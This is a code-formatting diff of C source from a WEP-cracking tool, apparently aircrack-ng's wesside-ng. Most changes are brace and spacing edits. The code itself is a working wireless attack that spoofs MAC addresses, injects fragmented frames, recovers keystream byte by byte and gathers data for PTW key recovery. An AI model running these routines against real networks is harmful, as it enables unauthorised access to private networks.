 			ws->ws_state = SPOOF_MAC;
 			return;
-
-		} else if (le16toh(*sc) == 0) {
+		}
+		else if (le16toh(*sc) == 0)
+		{
 			time_print("Authenticated\n");
 			ws->ws_state = GOT_AUTH;
 			return;
-
-		} else {
+		}
+		else
+		{
 			time_print("Got auth %x\n", *sc);
 			exit(1);
 		}
 	}
-	else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) {
-		sc = (unsigned short*) body;
+	else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP)
+	{
+		sc = (unsigned short *) body;
 		sc++; // cap
 
 		if (ws->ws_state != SENDING_ASSOC) /* We didn't ask for it. */
 			return;
 
-		if (le16toh(*sc) == 0) {
+		if (le16toh(*sc) == 0)
+		{
 			sc++;
 			aid = le16toh(*sc) & 0x3FFF;
 			time_print("Associated (ID=%x)\n", aid);
 			ws->ws_state = GOT_ASSOC;
 			return;
-
-		} else if (le16toh(*sc) == 12 || le16toh(*sc) == 1) {
+		}
+		else if (le16toh(*sc) == 12 || le16toh(*sc) == 1)
+		{
 			time_print("Assoc rejected..."
-				   " trying to spoof mac.\n");
+					   " trying to spoof mac.\n");
 			ws->ws_state = SPOOF_MAC;
 			return;
-		} else {
+		}
+		else
+		{
 			time_print("got assoc %d\n", le16toh(*sc));
 			exit(1);
 		}
-
-	} else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
+	}
+	else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP)
+	{
 		return;
 	}
 
@@ -876,60 +942,66 @@
 	exit(1);
 }
 
-static void proc_data(struct wstate *ws, struct ieee80211_frame *wh, int len)
+static void proc_data(struct wstate * ws, struct ieee80211_frame * wh, int len)
 {
 	int dlen;
-	dlen = len - sizeof(*wh) - 4 -4;
+	dlen = len - sizeof(*wh) - 4 - 4;
 
-	if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) {
+	if (!(wh->i_fc[1] & IEEE80211_FC1_WEP))
+	{
 		time_print("WARNING: Got NON wep packet from %s dlen %d\n",
-			   mac2str(wh->i_addr2), dlen);
+				   mac2str(wh->i_addr2),
+				   dlen);
 		return;
 	}
 
-	assert (wh->i_fc[1] & IEEE80211_FC1_WEP);
+	assert(wh->i_fc[1] & IEEE80211_FC1_WEP);
 
 	if ((dlen == 36 || dlen == PADDED_ARPLEN)
-	    && ws->ws_rtrmac == (unsigned char*) 1) {
+		&& ws->ws_rtrmac == (unsigned char *) 1)
+	{
 		ws->ws_rtrmac = (unsigned char *) malloc(6);
-		if (!ws->ws_rtrmac) {
+		if (!ws->ws_rtrmac)
+		{
 			perror("malloc()");
 			exit(1);
 		}
 
-		assert( ws->ws_rtrmac > (unsigned char*) 1);
+		assert(ws->ws_rtrmac > (unsigned char *) 1);
 
-		memcpy (ws->ws_rtrmac, wh->i_addr3, 6);
-		time_print("Got arp reply from (%s)\n",
-			   mac2str(ws->ws_rtrmac));
+		memcpy(ws->ws_rtrmac, wh->i_addr3, 6);
+		time_print("Got arp reply from (%s)\n", mac2str(ws->ws_rtrmac));
 
 		return;
 	}
 }
 
-static void stuff_for_us(struct wstate *ws, struct ieee80211_frame* wh, int len)
+static void
+stuff_for_us(struct wstate * ws, struct ieee80211_frame * wh, int len)
 {
-	int type,stype;
-	unsigned char *body = (unsigned char*) (wh+1);
+	int type, stype;
+	unsigned char * body = (unsigned char *) (wh + 1);
 
 	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
 	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
 
 	// CTL
-	if (type == IEEE80211_FC0_TYPE_CTL) {
+	if (type == IEEE80211_FC0_TYPE_CTL)
+	{
 		proc_ctl(ws, stype);
 		return;
 	}
 
 	// MGM
-	if (type == IEEE80211_FC0_TYPE_MGT) {
+	if (type == IEEE80211_FC0_TYPE_MGT)
+	{
 		proc_mgt(ws, stype, body);
 		return;
 	}
 
 	/* Data */
-	if (type == IEEE80211_FC0_TYPE_DATA &&
-	    stype == IEEE80211_FC0_SUBTYPE_DATA) {
+	if (type == IEEE80211_FC0_TYPE_DATA && stype == IEEE80211_FC0_SUBTYPE_DATA)
+	{
 		proc_data(ws, wh, len);
 		return;
 	}
@@ -940,83 +1012,84 @@
 #endif
 }
 
-static void decrypt_arpreq(struct wstate *ws, struct ieee80211_frame* wh,
-			   int rd)
+static void
+decrypt_arpreq(struct wstate * ws, struct ieee80211_frame * wh, int rd)
 {
-	unsigned char* body;
+	unsigned char * body;
 	int bodylen;
 	unsigned char clear[36];
-	unsigned char* ptr;
-	struct arphdr* h;
+	unsigned char * ptr;
+	struct arphdr * h;
 	int i;
 
-	body = (unsigned char*) wh+sizeof(*wh);
+	body = (unsigned char *) wh + sizeof(*wh);
 	ptr = clear;
 
 	// calculate clear-text
-	memcpy(ptr, S_LLC_SNAP_ARP, sizeof(S_LLC_SNAP_ARP)-1);
-	ptr += sizeof(S_LLC_SNAP_ARP) -1;
+	memcpy(ptr, S_LLC_SNAP_ARP, sizeof(S_LLC_SNAP_ARP) - 1);
+	ptr += sizeof(S_LLC_SNAP_ARP) - 1;
 
-	h = (struct arphdr*)ptr;
+	h = (struct arphdr *) ptr;
 	h->ar_hrd = htons(ARPHRD_ETHER);
-        h->ar_pro = htons(ETHERTYPE_IP);
-        h->ar_hln = 6;
-        h->ar_pln = 4;
-        h->ar_op = htons(ARPOP_REQUEST);
+	h->ar_pro = htons(ETHERTYPE_IP);
+	h->ar_hln = 6;
+	h->ar_pln = 4;
+	h->ar_op = htons(ARPOP_REQUEST);
 	ptr += sizeof(*h);
 
 	memcpy(ptr, wh->i_addr3, 6);
 
 	bodylen = rd - sizeof(*wh) - 4 - 4;
 	ws->ws_clen = bodylen;
-	ws->ws_cipher = (unsigned char*) malloc(ws->ws_clen);
-	if (!ws->ws_cipher) {
+	ws->ws_cipher = (unsigned char *) malloc(ws->ws_clen);
+	if (!ws->ws_cipher)
+	{
 		perror("malloc()");
 		exit(1);
 	}
-	ws->ws_dpi.pi_prga = (unsigned char*) malloc(ws->ws_clen);
-	if (!ws->ws_dpi.pi_prga) {
+	ws->ws_dpi.pi_prga = (unsigned char *) malloc(ws->ws_clen);
+	if (!ws->ws_dpi.pi_prga)
+	{
 		perror("malloc()");
 		exit(1);
 	}
 
-
 	memcpy(ws->ws_cipher, &body[4], ws->ws_clen);
 	memcpy(ws->ws_dpi.pi_iv, body, 3);
 
 	memset(ws->ws_dpi.pi_prga, 0, ws->ws_clen);
-	for(i = 0; i < (8+8+6); i++) {
-		ws->ws_dpi.pi_prga[i] = ws->ws_cipher[i] ^
-						clear[i];
+	for (i = 0; i < (8 + 8 + 6); i++)
+	{
+		ws->ws_dpi.pi_prga[i] = ws->ws_cipher[i] ^ clear[i];
 	}
 
 	ws->ws_dpi.pi_len = i;
 	time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3));
 }
 
-static void log_wep(struct wstate *ws, struct ieee80211_frame* wh, int len)
+static void log_wep(struct wstate * ws, struct ieee80211_frame * wh, int len)
 {
 	int rd;
 	struct pcap_pkthdr pkh;
 	struct timeval tv;
-	unsigned char *body = (unsigned char*) (wh+1);
+	unsigned char * body = (unsigned char *) (wh + 1);
 
 	memset(&pkh, 0, sizeof(pkh));
 	pkh.caplen = pkh.len = len;
-	if (gettimeofday(&tv, NULL) == -1)
-		err(1, "gettimeofday()");
+	if (gettimeofday(&tv, NULL) == -1) err(1, "gettimeofday()");
 	pkh.tv_sec = tv.tv_sec;
 	pkh.tv_usec = tv.tv_usec;
-	if (write(ws->ws_fd, &pkh, sizeof(pkh)) != sizeof(pkh))
-		err(1, "write()");
+	if (write(ws->ws_fd, &pkh, sizeof(pkh)) != sizeof(pkh)) err(1, "write()");
 
 	rd = write(ws->ws_fd, wh, len);
 
-	if (rd == -1) {
+	if (rd == -1)
+	{
 		perror("write()");
 		exit(1);
 	}
-	if (rd != len) {
+	if (rd != len)
+	{
 		time_print("short write %d out of %d\n", rd, len);
 		exit(1);
 	}
@@ -1032,57 +1105,58 @@
 	ws->ws_packets++;
 }
 
-static void add_keystream(struct wstate *ws, struct ieee80211_frame* wh, int rd)
+static void
+add_keystream(struct wstate * ws, struct ieee80211_frame * wh, int rd)
 {
 	unsigned char clear[1024];
 	int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4;
 	int clearsize;
-	unsigned char *body = (unsigned char*) (wh+1);
+	unsigned char * body = (unsigned char *) (wh + 1);
 	int i, weight[16], k, j;
 
-	k = known_clear(clear, &clearsize, weight, (void*) wh, dlen);
-	if (clearsize < 16)
-		return;
+	k = known_clear(clear, &clearsize, weight, (void *) wh, dlen);
+	if (clearsize < 16) return;
 
-        for (j=0; j<k; j++)
-        {
-            for (i = 0; i < clearsize; i++)
-                    clear[i+(32*j)] ^= body[4+i];
-        }
-        PTW_addsession(ws->ws_ptw, body, clear, weight, k);
+	for (j = 0; j < k; j++)
+	{
+		for (i = 0; i < clearsize; i++) clear[i + (32 * j)] ^= body[4 + i];
+	}
+	PTW_addsession(ws->ws_ptw, body, clear, weight, k);
 }
 
-static void got_ip(struct wstate *ws)
+static void got_ip(struct wstate * ws)
 {
 	unsigned char ip[4];
 	int i;
-	struct in_addr *in = (struct in_addr*) ip;
-	char *ptr;
+	struct in_addr * in = (struct in_addr *) ip;
+	char * ptr;
 
 	for (i = 0; i < 4; i++)
-		ip[i] = ws->ws_cipher[8+8+6+i] ^ ws->ws_dpi.pi_prga[8+8+6+i];
+		ip[i]
+			= ws->ws_cipher[8 + 8 + 6 + i] ^ ws->ws_dpi.pi_prga[8 + 8 + 6 + i];
 
 	assert(!ws->ws_netip);
 	ws->ws_netip = malloc(16);
-	if(!ws->ws_netip) {
+	if (!ws->ws_netip)
+	{
 		perror("malloc()");
 		exit(1);
 	}
 
 	memset(ws->ws_netip, 0, 16);
-	strncpy(ws->ws_netip, inet_ntoa(*in), 16-1);
+	strncpy(ws->ws_netip, inet_ntoa(*in), 16 - 1);
 
 	time_print("Got IP=(%s)\n", ws->ws_netip);
 	memset(ws->ws_myip, 0, sizeof(ws->ws_myip));
-	strncpy(ws->ws_myip, ws->ws_netip, sizeof(ws->ws_myip)-1);
+	strncpy(ws->ws_myip, ws->ws_netip, sizeof(ws->ws_myip) - 1);
 
 	ptr = strchr(ws->ws_myip, '.');
 	assert(ptr);
-	ptr = strchr(ptr+1, '.');
+	ptr = strchr(ptr + 1, '.');
 	assert(ptr);
-	ptr = strchr(ptr+1, '.');
+	ptr = strchr(ptr + 1, '.');
 	assert(ptr);
-	strncpy(ptr+1,"123", 3);
+	strncpy(ptr + 1, "123", 4);
 
 	time_print("My IP=(%s)\n", ws->ws_myip);
 
@@ -1095,16 +1169,19 @@
 	memset(&ws->ws_dfs, 0, sizeof(ws->ws_dfs));
 }
 
-static void check_relay(struct wstate *ws, struct ieee80211_frame *wh,
-			unsigned char *body, int dlen)
+static void check_relay(struct wstate * ws,
+						struct ieee80211_frame * wh,
+						unsigned char * body,
+						int dlen)
 {
 	// looks like it...
-	if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
-	    (memcmp(wh->i_addr3, ws->ws_mymac, 6) == 0) &&
-	    (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
-	    dlen == ws->ws_fs.fs_len) {
+	if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
+		&& (memcmp(wh->i_addr3, ws->ws_mymac, 6) == 0)
+		&& (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0)
+		&& dlen == ws->ws_fs.fs_len)
+	{
 
-//		printf("I fink AP relayed it...\n");
+		//		printf("I fink AP relayed it...\n");
 		set_prga(ws, body, &body[4], ws->ws_fs.fs_data, dlen);
 		free(ws->ws_fs.fs_data);
 		ws->ws_fs.fs_data = 0;
@@ -1112,48 +1189,51 @@
 	}
 
 	// see if we get the multicast stuff of when decrypting
-	if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
-	    (memcmp(wh->i_addr3, ws->ws_mymac, 6) == 0) &&
-	    (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) &&
-	    dlen == 36) {
+	if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
+		&& (memcmp(wh->i_addr3, ws->ws_mymac, 6) == 0)
+		&& (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0)
+		&& dlen == 36)
+	{
 
 		unsigned char pr = wh->i_addr1[5];
 
 		printf("\n");
 		time_print("Got clear-text byte: %d\n",
-		ws->ws_cipher[ws->ws_dpi.pi_len-1] ^ pr);
+				   ws->ws_cipher[ws->ws_dpi.pi_len - 1] ^ pr);
 
-		ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len-1] = pr;
+		ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len - 1] = pr;
 		ws->ws_dpi.pi_len++;
 		ws->ws_dfs.fs_waiting_relay = 1;
 
 		// ok we got the ip...
-		if (ws->ws_dpi.pi_len == 26+1) {
+		if (ws->ws_dpi.pi_len == 26 + 1)
+		{
 			got_ip(ws);
 		}
 	}
 }
 
-static void got_wep(struct wstate *ws, struct ieee80211_frame* wh, int rd)
+static void got_wep(struct wstate * ws, struct ieee80211_frame * wh, int rd)
 {
 	int bodylen;
 	int dlen;
 	unsigned char clear[1024];
 	int clearsize;
-	unsigned char *body;
+	unsigned char * body;
 
 	bodylen = rd - sizeof(struct ieee80211_frame);
 
 	dlen = bodylen - 4 - 4;
-	body = (unsigned char*) wh + sizeof(*wh);
-
+	body = (unsigned char *) wh + sizeof(*wh);
 
 	// log it if its stuff not from us...
-	if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ||
-	     ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
-	        memcmp(wh->i_addr2, ws->ws_mymac, 6) != 0) ) {
+	if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
+		|| ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
+			&& memcmp(wh->i_addr2, ws->ws_mymac, 6) != 0))
+	{
 
-		if (body[3] != 0) {
+		if (body[3] != 0)
+		{
 			time_print("Key index=%x!!\n", body[3]);
 			exit(1);
 		}
@@ -1162,73 +1242,82 @@
 	}
 
 	// look for arp-request packets... so we can decrypt em
-	if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
-	    (memcmp(wh->i_addr3, ws->ws_mymac, 6) != 0) &&
-	    (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
-	     (dlen == 36 || dlen == PADDED_ARPLEN) &&
-	    !ws->ws_cipher &&
-	    !ws->ws_netip) {
+	if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
+		&& (memcmp(wh->i_addr3, ws->ws_mymac, 6) != 0)
+		&& (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0)
+		&& (dlen == 36 || dlen == PADDED_ARPLEN)
+		&& !ws->ws_cipher
+		&& !ws->ws_netip)
+	{
 		decrypt_arpreq(ws, wh, rd);
 	}
 
 	// we have prga... check if its our stuff being relayed...
-	if (ws->ws_pi.pi_len != 0) {
+	if (ws->ws_pi.pi_len != 0)
+	{
 		check_relay(ws, wh, body, dlen);
 		return;
 	}
 
-	known_clear(clear, &clearsize, NULL, (void*) wh, dlen);
+	known_clear(clear, &clearsize, NULL, (void *) wh, dlen);
 	time_print("Datalen %d Known clear %d\n", dlen, clearsize);
 
 	set_prga(ws, body, &body[4], clear, clearsize);
 }
 
-static void stuff_for_net(struct wstate *ws, struct ieee80211_frame* wh, int rd)
+static void
+stuff_for_net(struct wstate * ws, struct ieee80211_frame * wh, int rd)
 {
 	int type, stype;
 
 	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
 	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
 
-	if (type == IEEE80211_FC0_TYPE_DATA &&
-	    stype == IEEE80211_FC0_SUBTYPE_DATA) {
+	if (type == IEEE80211_FC0_TYPE_DATA && stype == IEEE80211_FC0_SUBTYPE_DATA)
+	{
 		int dlen = rd - sizeof(struct ieee80211_frame);
 
-		if (ws->ws_state == SPOOF_MAC) {
+		if (ws->ws_state == SPOOF_MAC)
+		{
 			unsigned char mac[6];
-			if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
+			if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
+			{
 				memcpy(mac, wh->i_addr3, 6);
-			} else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
+			}
+			else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
+			{
 				memcpy(mac, wh->i_addr1, 6);
-			} else assert(0);
+			}
+			else
+				assert(0);
 
-			if (mac[0] == 0xff || mac[0] == 0x1)
-				return;
+			if (mac[0] == 0xff || mac[0] == 0x1) return;
 
 			memcpy(ws->ws_mymac, mac, 6);
-			time_print("Trying to use MAC=(%s)\n",
-				   mac2str(ws->ws_mymac));
+			time_print("Trying to use MAC=(%s)\n", mac2str(ws->ws_mymac));
 			ws->ws_state = FOUND_VICTIM;
 			return;
 		}
 
 		// wep data!
-		if ( (wh->i_fc[1] & IEEE80211_FC1_WEP) && dlen > (4+8+4)) {
+		if ((wh->i_fc[1] & IEEE80211_FC1_WEP) && dlen > (4 + 8 + 4))
+		{
 			got_wep(ws, wh, rd);
 		}
 	}
 }
 
-static void anal(struct wstate *ws, unsigned char* buf, int rd) // yze
+static void anal(struct wstate * ws, unsigned char * buf, int rd) // yze
 {
-	struct ieee80211_frame* wh = (struct ieee80211_frame *) buf;
-	int type,stype;
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	int type, stype;
 	static int lastseq = -1;
 	int seq;
-	unsigned short *seqptr;
+	unsigned short * seqptr;
 	int for_us = 0;
 
-	if (rd < 1) {
+	if (rd < 1)
+	{
 		time_print("rd=%d\n", rd);
 		exit(1);
 	}
@@ -1237,78 +1326,91 @@
 	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
 
 	// sort out acks
-	if (ws->ws_state >= FOUND_VICTIM) {
+	if (ws->ws_state >= FOUND_VICTIM)
+	{
 		// stuff for us
-		if (memcmp(wh->i_addr1, ws->ws_mymac, 6) == 0) {
+		if (memcmp(wh->i_addr1, ws->ws_mymac, 6) == 0)
+		{
 			for_us = 1;
-			if (type != IEEE80211_FC0_TYPE_CTL)
-				send_ack(ws);
+			if (type != IEEE80211_FC0_TYPE_CTL) send_ack(ws);
 		}
 	}
 
 	// XXX i know it aint great...
-	seqptr = (unsigned short*)  wh->i_seq;
-	seq = (le16toh(*seqptr) & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
-	if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) &&
-	    type != IEEE80211_FC0_TYPE_CTL) {
-//		printf("Ignoring dup packet... seq=%d\n", seq);
+	seqptr = (unsigned short *) wh->i_seq;
+	seq = (le16toh(*seqptr) & IEEE80211_SEQ_SEQ_MASK)
+		  >> IEEE80211_SEQ_SEQ_SHIFT;
+	if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY)
+		&& type != IEEE80211_FC0_TYPE_CTL)
+	{
+		//		printf("Ignoring dup packet... seq=%d\n", seq);
 		return;
 	}
 	lastseq = seq;
 
 	// management frame
-	if (type == IEEE80211_FC0_TYPE_MGT) {
-		if(ws->ws_state == FIND_VICTIM) {
-			if (stype == IEEE80211_FC0_SUBTYPE_BEACON ||
-			    stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
-
-			    	if (get_victim_ssid(ws, wh, rd)) {
-			    		return;
+	if (type == IEEE80211_FC0_TYPE_MGT)
+	{
+		if (ws->ws_state == FIND_VICTIM)
+		{
+			if (stype == IEEE80211_FC0_SUBTYPE_BEACON
+				|| stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP)
+			{
+
+				if (get_victim_ssid(ws, wh, rd))
+				{
+					return;
 				}
 			}
-
 		}
 	}
 
-	if (ws->ws_state >= FOUND_VICTIM) {
+	if (ws->ws_state >= FOUND_VICTIM)
+	{
 		// stuff for us
-		if (for_us) {
+		if (for_us)
+		{
 			stuff_for_us(ws, wh, rd);
 		}
 
 		// stuff in network [even for us]
-		if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
-			  (memcmp(ws->ws_bss, wh->i_addr1, 6) == 0)) ||
+		if (((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
+			 && (memcmp(ws->ws_bss, wh->i_addr1, 6) == 0))
+			||
 
-			  ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
-			  (memcmp(ws->ws_bss, wh->i_addr2, 6) == 0))
-			   ) {
+			((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
+			 && (memcmp(ws->ws_bss, wh->i_addr2, 6) == 0)))
+		{
 			stuff_for_net(ws, wh, rd);
 		}
 	}
 }
 
-static void do_arp(unsigned char* buf, unsigned short op, unsigned char* m1,
-		   char* i1, unsigned char* m2, char* i2)
+static void do_arp(unsigned char * buf,
+				   unsigned short op,
+				   unsigned char * m1,
+				   char * i1,
+				   unsigned char * m2,
+				   char * i2)
 {
-        struct in_addr sip;
-        struct in_addr dip;
-	struct arphdr* h;
-	unsigned char* data;
+	struct in_addr sip;
+	struct in_addr dip;
+	struct arphdr * h;
+	unsigned char * data;
 
-        inet_aton(i1, &sip);
-        inet_aton(i2, &dip);
-	h = (struct arphdr*) buf;
+	inet_aton(i1, &sip);
+	inet_aton(i2, &dip);
+	h = (struct arphdr *) buf;
 
 	memset(h, 0, sizeof(*h));
 
 	h->ar_hrd = htons(ARPHRD_ETHER);
-        h->ar_pro = htons(ETHERTYPE_IP);
-        h->ar_hln = 6;
-        h->ar_pln = 4;
-        h->ar_op = htons(op);
+	h->ar_pro = htons(ETHERTYPE_IP);
+	h->ar_hln = 6;
+	h->ar_pln = 4;
+	h->ar_op = htons(op);
 
-	data = (unsigned char*) h + sizeof(*h);
+	data = (unsigned char *) h + sizeof(*h);
 
 	memcpy(data, m1, 6);
 	data += 6;
@@ -1321,23 +1423,23 @@
 	data += 4;
 }
 
-static void send_fragment(struct wstate *ws, struct frag_state* fs,
-			  struct prga_info *pi)
+static void
+send_fragment(struct wstate * ws, struct frag_state * fs, struct prga_info * pi)
 {
 	unsigned char buf[4096];
-	struct ieee80211_frame* wh;
-	unsigned char* body;
+	struct ieee80211_frame * wh;
+	unsigned char * body;
 	int fragsize;
 	uLong crc;
-	unsigned int *pcrc;
+	unsigned int * pcrc;
 	int i;
-	unsigned short* seq;
+	unsigned short * seq;
 	unsigned short sn, fn;
 
-	wh = (struct ieee80211_frame*) buf;
+	wh = (struct ieee80211_frame *) buf;
 	memcpy(wh, &fs->fs_wh, sizeof(*wh));
 
-	body = (unsigned char*) wh + sizeof(*wh);
+	body = (unsigned char *) wh + sizeof(*wh);
 	memcpy(body, &pi->pi_iv, 3);
 	body += 3;
 	*body++ = 0; // key index
@@ -1346,12 +1448,14 @@
 
 	assert(fragsize > 0);
 
-	if ( (fragsize + 4) > pi->pi_len) {
-		fragsize = pi->pi_len  - 4;
+	if ((fragsize + 4) > pi->pi_len)
+	{
+		fragsize = pi->pi_len - 4;
 		wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
 	}
 	// last fragment
-	else {
+	else
+	{
 		wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
 	}
 
@@ -1359,36 +1463,39 @@
 
 	crc = crc32(0L, Z_NULL, 0);
 	crc = crc32(crc, body, fragsize);
-	pcrc = (unsigned int*) (body+fragsize);
+	pcrc = (unsigned int *) (body + fragsize);
 	*pcrc = htole32(crc);
 
-	for (i = 0; i < (fragsize + 4); i++)
+	for (i = 0; fragsize < (INT_MAX - 4) && i < (fragsize + 4); i++)
 		body[i] ^= pi->pi_prga[i];
 
-	seq = (unsigned short*) &wh->i_seq;
+	seq = (unsigned short *) &wh->i_seq;
 	sn = (le16toh(*seq) & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
 	fn = le16toh(*seq) & IEEE80211_SEQ_FRAG_MASK;
-//	printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn);
+	//	printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn);
 
-	send_frame(ws, buf, sizeof(*wh) + 4 + fragsize+4);
+	send_frame(ws, buf, sizeof(*wh) + 4 + fragsize + 4);
 
-	seq = (unsigned short*) &fs->fs_wh.i_seq;
+	seq = (unsigned short *) &fs->fs_wh.i_seq;
 	*seq = fnseq(++fn, sn);
 	fs->fs_ptr += fragsize;
 
-	if (fs->fs_ptr - fs->fs_data == fs->fs_len) {
-//		printf("Finished sending frags...\n");
+	if (fs->fs_ptr - fs->fs_data == fs->fs_len)
+	{
+		//		printf("Finished sending frags...\n");
 		fs->fs_waiting_relay = 1;
 	}
 }
 
-static void prepare_fragstate(struct wstate *ws, struct frag_state* fs, int pad)
+static void
+prepare_fragstate(struct wstate * ws, struct frag_state * fs, int pad)
 {
 	fs->fs_waiting_relay = 0;
 	fs->fs_len = 8 + 8 + 20 + pad;
-	fs->fs_data = (unsigned char*) malloc(fs->fs_len);
+	fs->fs_data = (unsigned char *) malloc(fs->fs_len);
 
-	if(!fs->fs_data) {
+	if (!fs->fs_data)
+	{
 		perror("malloc()");
 		exit(1);
 	}
@@ -1396,65 +1503,68 @@
 	fs->fs_ptr = fs->fs_data;
 
 	do_llc(fs->fs_data, ETHERTYPE_ARP);
-	do_arp(&fs->fs_data[8], ARPOP_REQUEST,
-	       ws->ws_mymac, ws->ws_myip,
-	       (unsigned char*) "\x00\x00\x00\x00\x00\x00", "192.168.0.1");
+	do_arp(&fs->fs_data[8],
+		   ARPOP_REQUEST,
+		   ws->ws_mymac,
+		   ws->ws_myip,
+		   (unsigned char *) "\x00\x00\x00\x00\x00\x00",
+		   "192.168.0.1");
 
 	memset(&fs->fs_wh, 0, sizeof(fs->fs_wh));
 	fill_basic(ws, &fs->fs_wh);
 
 	memset(fs->fs_wh.i_addr3, 0xff, 6);
 	fs->fs_wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
-	fs->fs_wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS |
-				IEEE80211_FC1_MORE_FRAG |
-				IEEE80211_FC1_WEP;
+	fs->fs_wh.i_fc[1]
+		|= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_MORE_FRAG | IEEE80211_FC1_WEP;
 
-	memset(&fs->fs_data[8+8+20], 0, pad);
+	memset(&fs->fs_data[8 + 8 + 20], 0, pad);
 }
 
-static void discover_prga(struct wstate *ws)
+static void discover_prga(struct wstate * ws)
 {
 	// create packet...
-	if (!ws->ws_fs.fs_data) {
+	if (!ws->ws_fs.fs_data)
+	{
 		int pad = 0;
 
-		if (ws->ws_pi.pi_len >= 20)
-			pad = ws->ws_pi.pi_len*3;
+		if (ws->ws_pi.pi_len >= 20) pad = ws->ws_pi.pi_len * 3;
 
 		prepare_fragstate(ws, &ws->ws_fs, pad);
 	}
 
-	if (!ws->ws_fs.fs_waiting_relay) {
+	if (!ws->ws_fs.fs_waiting_relay)
+	{
 		send_fragment(ws, &ws->ws_fs, &ws->ws_pi);
-		if (ws->ws_fs.fs_waiting_relay) {
+		if (ws->ws_fs.fs_waiting_relay)
+		{
 			if (gettimeofday(&ws->ws_fs.fs_last, NULL) == -1)
 				err(1, "gettimeofday()");
 		}
 	}
 }
 
-static void decrypt(struct wstate *ws)
+static void decrypt(struct wstate * ws)
 {
 	// gotta initiate
-	if (!ws->ws_dfs.fs_data) {
+	if (!ws->ws_dfs.fs_data)
+	{
 		prepare_fragstate(ws, &ws->ws_dfs, 0);
 
-		memcpy(ws->ws_dfs.fs_wh.i_addr3,
-		       MCAST_PREF, 5);
+		memcpy(ws->ws_dfs.fs_wh.i_addr3, MCAST_PREF, 5);
 
-		ws->ws_dfs.fs_wh.i_addr3[5] =
-		ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len-1];
+		ws->ws_dfs.fs_wh.i_addr3[5] = ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len - 1];
 
 		ws->ws_dpi.pi_len++;
 	}
 
 	// guess diff prga byte...
-	if (ws->ws_dfs.fs_waiting_relay) {
+	if (ws->ws_dfs.fs_waiting_relay)
+	{
 		unsigned short seq;
-		ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len-1]++;
+		ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len - 1]++;
 
-		ws->ws_dfs.fs_wh.i_addr3[5] =
-		ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len-1];
+		ws->ws_dfs.fs_wh.i_addr3[5] = ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len - 1];
 
 		ws->ws_dfs.fs_waiting_relay = 0;
 		ws->ws_dfs.fs_ptr = ws->ws_dfs.fs_data;
@@ -1462,35 +1572,37 @@
 		seq = fnseq(0, ws->ws_psent);
 		ws->ws_dfs.fs_wh.i_seq[0] = (u_int8_t)(seq >> 8);
 		ws->ws_dfs.fs_wh.i_seq[1] = (u_int8_t)(seq % 256);
-		//seq = (unsigned short*) &ws->ws_dfs.fs_wh.i_seq;
+		// seq = (unsigned short*) &ws->ws_dfs.fs_wh.i_seq;
 		//*seq = fnseq(0, ws->ws_psent);
 	}
 
-	send_fragment(ws, &ws->ws_dfs,
-		      &ws->ws_dpi);
+	send_fragment(ws, &ws->ws_dfs, &ws->ws_dpi);
 }
 
